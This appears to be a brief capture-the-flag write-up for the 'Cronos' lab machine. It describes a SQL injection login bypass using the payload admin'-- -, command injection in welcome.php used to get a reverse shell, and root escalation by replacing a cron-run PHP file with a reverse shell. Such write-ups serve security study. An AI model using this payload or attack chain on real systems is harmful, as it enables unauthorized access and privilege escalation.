Exploitation

Authentication Bypass - Login Page

By injecting SQL code into the login page located at admin.cronos.htb, we are able to bypass authentication, granting us access to /welcome.php.

Payload: admin'-- -

RCE - Insufficient Input Sanitization

If we intercept our post request in welcome.php, we can edit our command to be anything and the server will execute the command.

![[Pasted image 20230506101023.png]]

If we inject a URL encoded reverse shell payload in the command field, we can get a reverse shell.

Exploitation

During our post-exploitation enumeration we saw the following cronjob running under the context of root: php /var/www/laravel/artisan

This file is under our user's control, which means that this is a viable attack vector.

www-data@cronos:/var/www/laravel$ ls -la artisan 
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

We will create a reverse shell written in php and upload it to the server under the name of artisan, start a listener and wait for the cronjob to get executed.
